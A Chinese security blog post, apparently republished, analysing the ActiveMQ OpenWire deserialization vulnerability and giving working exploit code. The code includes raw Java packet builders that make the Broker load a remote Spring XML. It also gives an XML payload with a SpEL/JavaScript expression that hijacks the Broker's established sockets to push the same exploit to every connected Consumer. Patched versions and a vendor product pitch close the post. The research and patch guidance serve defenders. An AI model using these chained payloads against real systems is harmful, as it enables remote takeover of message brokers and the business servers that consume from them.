文章总结： 本文分析了ActiveMQ反序列化漏洞（CVE-2023-xxxx）的成因与利用方法，指出BaseDataStreamMarshaller类未校验class类型导致可调用任意类构造方法。通过构造ExceptionResponse数据包，结合Spring的ClassPathXmlApplicationContext加载远程XML实现RCE。文章详细提供了攻击Broker和Consumer的两种利用代码，并首次提出通过Broker获取消费者Socket进行链式攻击的思路。
综合评分： 85
文章分类： 漏洞分析,WEB安全,红队,实战经验,安全工具

Java安全攻防之ActiveMQ从Broker到Consumer

原创

yulegeyu
yulegeyu

实战攻防

2023年10月31日 18:15
北京

在小说阅读器读本章

去阅读

前言

上周ActiveMQ的漏洞利用已经有了多篇文章分析了，比较麻烦的在于公开的文章都是通过修改activemq代码实现的漏洞利用。所以我们也分析了这个漏洞，希望能够写出更加简单的exploit。

漏洞分析

漏洞分析文章网上都比较多了，简单过一下。从补丁中可以发现https://github.com/apache/activemq/commit/3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b，主要修改了BaseDataStreamMarshaller类的createThrowable方法，在漏洞版本中没有校验class类型，直接调用了String构造方法。

private Throwable createThrowable(String className, String message) {    try {        Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());        Constructor constructor = clazz.getConstructor(String.class);        return (Throwable)constructor.newInstance(message);    } catch (Throwable var5) {        return new Throwable(className + ": " + message);    }}

其中ConnectionErrorMarshaller、MessageAckMarshaller、ExceptionResponseMarshaller中的tightUnmarshal反序列化方法中都调用到了tightUnmarsalThrowable方法，

public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {    super.tightUnmarshal(wireFormat, o, dataIn, bs);    ExceptionResponse info = (ExceptionResponse)o;    info.setException(this.tightUnmarsalThrowable(wireFormat, dataIn, bs));}

tightUnmarshal是每个数据类型的入口反序列化方法，在根据数据类型获取到对应的反序列化方法后就进入到tightUnmarshal方法进行反序列化，进而触发到tightUnmarsalThrowable

public Object doUnmarshal(DataInput dis) throws IOException {    byte dataType = dis.readByte();    if (dataType != 0) {        DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255];        if (dsm == null) {            throw new IOException("Unknown data type: " + dataType);        } else {            Object data = dsm.createObject();            if (this.tightEncodingEnabled) {                BooleanStream bs = new BooleanStream();                bs.unmarshal(dis);                dsm.tightUnmarshal(this, data, dis, bs);            } else {                dsm.looseUnmarshal(this, data, dis);            }
            return data;        }    } else {        return null;    }}

在tightUnmarsalThrowable方法中，最终触发到了createThrowable方法。

protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) throws IOException {    if (!bs.readBoolean()) {        return null;    } else {        String clazz = this.tightUnmarshalString(dataIn, bs);        String message = this.tightUnmarshalString(dataIn, bs);        Throwable o = this.createThrowable(clazz, message);

class和message都是来自于反序列化的结果。意味着我们能够调用任意类的String构造方法，刚好ActiveMQ内置了Sping，配合Spring常用的一个利用类org.springframework.context.support.ClassPathXmlApplicationContext来加载远程的配置文件，实现SPEL表达式注入代码执行RCE。

漏洞利用

正常场景下，生产者只能发送Message给Broker。为了发送Response给Broker肯定需要修改下ActiveMQ的代码，所以大部分利用都是修改代码实现的。为了更简单的实现利用，简单看了看ActiveMQ的协议，构造了下Exploit。ExceptionResponseMarshaller根据名字很容易判断出是ExceptionResponse的序列化/反序列化方法。

public class ExceptionResponse extends Response {    public static final byte DATA_STRUCTURE_TYPE = 31;

获取到ExceptionResponse的DATA_STRUCTURE_TYPE为31，整体的协议比较简单，以下为攻击代码。

ByteArrayOutputStream bos = new ByteArrayOutputStream();DataOutput dataOutput = new DataOutputStream(bos);dataOutput.writeInt(0);dataOutput.writeByte(31);
dataOutput.writeInt(1);dataOutput.writeBoolean(true);dataOutput.writeInt(1);dataOutput.writeBoolean(true);dataOutput.writeBoolean(true);dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");dataOutput.writeBoolean(true);dataOutput.writeUTF("http://localhost:8000/abcd");
Socket socket = new Socket("localhost", 61616);OutputStream socketOutputStream = socket.getOutputStream();socketOutputStream.write(bos.toByteArray());socketOutputStream.close();

在看代码中发现ActiveMQ中存在一个tightEncodingEnabled的配置，启用tightEncodingEnabled配置后，ActiveMQ会使用一种紧凑的消息编码方式，它采用了一些技巧，例如采用更紧凑的数据结构、二进制编码等，以减少消息的大小。

很明显如果目标启用了tightEncodingEnabled的话，上面的攻击代码肯定需要修改。经过测试发现默认Broker未打开该配置，Consumer打开该配置。

这里也给出tightEncodingEnabled场景下，攻击Broker的利用代码

ByteArrayOutputStream bos = new ByteArrayOutputStream();DataOutput dataOutput = new DataOutputStream(bos);dataOutput.writeInt(0);dataOutput.writeByte(31);
BooleanStream bs = new BooleanStream();bs.writeBoolean(true);bs.writeBoolean(true);bs.writeBoolean(true);bs.writeBoolean(false);bs.writeBoolean(true);bs.writeBoolean(false);
bs.marshal(dataOutput);
dataOutput.writeUTF("bb");dataOutput.writeUTF("aa");
dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");dataOutput.writeUTF("http://localhost:8000/abcd");
bos.flush();
Socket socket =new Socket("127.0.0.1", 61616);OutputStream socketOutputStream = socket.getOutputStream();socketOutputStream.write(bos.toByteArray());socketOutputStream.close();

攻击Consumer

写完Broker的利用后，又开始思考是否能对Consumer进行攻击，因为漏洞是出现在反序列化阶段的，按理来说Consumer也会存在该漏洞的。且通常来说，Consumer才是部署业务的机器会比起Broker更加核心，通常一个Broker中会接入多个Consumer，如果能控制Consumer那么很可能一次性能控制大量业务机器。但是Consumer在实际使用中，并不会监听端口，那么怎么来给消费者发送恶意数据呢？

ActiveMQ有两种常用的消息模型，点对点、发布/订阅模式。无论是哪种模式，在实际业务中为了持续消费，通常会设置一个监听器，同时让消费者和Broker保持长链接。那么思路就有了，在控制了Broker后，获取到Broker和消费已建立的Socket链接，给消费推恶意数据进行反序列化按理是可以实现利用的。

所以首先要找到已经ESTABLISH的Socket链接org.apache.activemq.broker.BrokerRegistry#getInstance

public class BrokerRegistry {    private static final Logger LOG = LoggerFactory.getLogger(BrokerRegistry.class);    private static final BrokerRegistry INSTANCE = new BrokerRegistry();    private final Object mutex = new Object();    private final Map<String, BrokerService> brokers = new HashMap();
    public BrokerRegistry() {    }
    public static BrokerRegistry getInstance() {        return INSTANCE;    }

在该方法中存在一个单例，可以获取到BrokerRegistry，进而获取到broker实例。在broker实例里面简单找了找，很轻松的找到了已经建立的消费链接，[Active Transport]的即是。

获取到Socket后，直接开推恶意数据。这里通过先让Broker加载远程配置文件在Broker上实现SPEL代码执行后，通过代码执行获取消费者socket推送恶意数据，加载远程配置文件。上面也说到了消费者默认开启了tightEncodingEnabled，所以需要使用tightEncodingEnabled的Exp。经过测试，漏洞利用后不会将消费打挂。

<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xmlns:context="http://www.springframework.org/schema/context"       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd            http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">
    <context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>
    <bean class="java.lang.String">        <property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(&quot;function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){   brokerService = brokers.get(key);  try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');}   f.setAccessible(true);   shutdownHook = f.get(brokerService);   threadGroup = shutdownHook.getThreadGroup();   f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){       thread = threads[key];       if(thread == null){           continue;       }       threadName = thread.getName();       if(threadName.startsWith('ActiveMQ Transport: ')){           f = thread.getClass().getDeclaredField('target');                      tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f));           f = tcpTransport.getClass().getDeclaredField('socket');           f.setAccessible(true);           socket = f.get(tcpTransport);           bos = new java.io.ByteArrayOutputStream();           dataOutput = new java.io.DataOutputStream(bos);           dataOutput.writeInt(1);           dataOutput.writeByte(31);    bs = new org.apache.activemq.openwire.BooleanStream();    bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(true);  bs.writeBoolean(false);   bs.writeBoolean(true); bs.writeBoolean(false);  bs.marshal(dataOutput); dataOutput.writeUTF('bb');  dataOutput.writeUTF('aa');  dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext');  dataOutput.writeUTF('http://localhost:8000/dddd');  dataOutput.writeShort(0);  socketOutputStream = socket.getOutputStream();           socketOutputStream.write(bos.toByteArray());         }   }   }&quot;)}"/>    </bean></beans>

点对点消费测试

ConnectionFactory&nbsp;connectionFactory&nbsp;=&nbsp;new&nbsp;ActiveMQConnectionFactory(ActiveMQConnection.DEFAULT_USER,        ActiveMQConnection.DEFAULT_PASSWORD, "tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();connection.start();Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);Destination destination = session.createQueue("tempQueue");MessageConsumer consumer = session.createConsumer(destination);consumer.setMessageListener(new MessageListener() {    @Override    public void onMessage(Message message) {
        try {            message.acknowledge();            TextMessage om = (TextMessage) message;            String data = om.getText();            System.out.println(data);        } catch (JMSException e) {            e.printStackTrace();        }    }});System.in.read();session.close();connection.close();

运行Exploit后，消费触发了漏洞。

发布/订阅消费测试

public class TopicConsumer {
    public void consumer() throws JMSException, IOException {        ConnectionFactory factory = null;        Connection connection = null;        Session session = null;        MessageConsumer consumer = null;        try {            factory = new ActiveMQConnectionFactory("admin","admin","tcp://localhost:61616");            connection = factory.createConnection();
            connection.start();            session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);            Destination destination = session.createTopic(TopicProducer.QUEUE_NAME);            consumer = session.createConsumer(destination);                       consumer.setMessageListener(new MessageListener() {                @Override                public void onMessage(Message message) {
                    try {                        TextMessage om = (TextMessage) message;                        String data = om.getText();                        System.out.println(data);                    } catch (JMSException e) {                        e.printStackTrace();                    }                }            });        } catch(Exception ex){            throw ex;        }    }
    public static void main(String[] args){        TopicConsumer consumer = new TopicConsumer();        try{            consumer.consumer();        } catch (Exception ex){            ex.printStackTrace();        }    }}

SpringBoot-activemq 消费测试

(spring-boot-starter-activemq 最新版3.1.5依然还没修复该漏洞)

修复方案

更新ActiveMQ至已修复版本，具体修复版本号如下：

5.18.3、5.17.6、5.16.7、5.15.16

安装靖云甲，可天然免疫该漏洞攻击：

恶意请求已被靖云甲阻断。

参考

https://xz.aliyun.com/t/12929
https://www.cnblogs.com/sam-uncle/p/10990324.html

（yulegeyu@边界无限烛龙实验室供稿）

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：实战攻防 yulegeyu
yulegeyu《Java安全攻防之ActiveMQ从Broker到Consumer》

Tags: WEB安全安全工具实战经验漏洞分析红队

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)